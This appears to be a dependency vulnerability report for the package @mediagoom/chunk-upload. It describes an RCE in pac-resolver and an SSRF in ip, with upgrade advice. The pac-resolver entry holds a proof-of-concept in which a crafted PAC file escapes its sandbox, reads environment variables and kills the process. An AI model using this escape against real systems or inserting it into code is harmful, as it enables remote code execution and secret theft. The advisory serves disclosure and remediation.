Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: pac-resolver
- Introduced through: superagent-proxy@2.1.0
Detailed paths
-
Introduced through: @mediagoom/chunk-upload@mediagoom/chunk-upload#1cecec552ca5c224282ca77726f8daa00e98e338 › superagent-proxy@2.1.0 › proxy-agent@4.0.1 › pac-proxy-agent@4.1.0 › pac-resolver@4.2.0Remediation: Upgrade to superagent-proxy@3.0.0.
Overview
Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.
In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.
NOTE: The fix for this vulnerability is applied in the node-degenerator
library, a dependency is written by the same maintainer.
PoC
const pac = require('pac-resolver');
// Should keep running forever (if not vulnerable):
setInterval(() => {
console.log("Still running");
}, 1000);
// Parsing a malicious PAC file unexpectedly executes unsandboxed code:
pac(`
// Real PAC config:
function FindProxyForURL(url, host) {
return "DIRECT";
}
// But also run arbitrary code:
var f = this.constructor.constructor(\`
// Running outside the sandbox:
console.log('Read env vars:', process.env);
console.log('!!! PAC file is running arbitrary code !!!');
console.log('Can read & could exfiltrate env vars ^');
console.log('Can kill parsing process, like so:');
process.exit(100); // Kill the vulnerable process
// etc etc
\`);
f();
Remediation
Upgrade pac-resolver
to version 5.0.0 or higher.
References
medium severity
- Vulnerable module: ip
- Introduced through: superagent-proxy@2.1.0
Detailed paths
-
Introduced through: @mediagoom/chunk-upload@mediagoom/chunk-upload#1cecec552ca5c224282ca77726f8daa00e98e338 › superagent-proxy@2.1.0 › proxy-agent@4.0.1 › pac-proxy-agent@4.1.0 › pac-resolver@4.2.0 › ip@1.1.9
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic
function, which identifies some private IP addresses as public addresses due to improper parsing of the input.
An attacker can manipulate a system that uses isLoopback()
, isPrivate()
and isPublic
functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.
Note
This vulnerability derived from an incomplete fix for CVE-2023-42282
Remediation
There is no fixed version for ip
.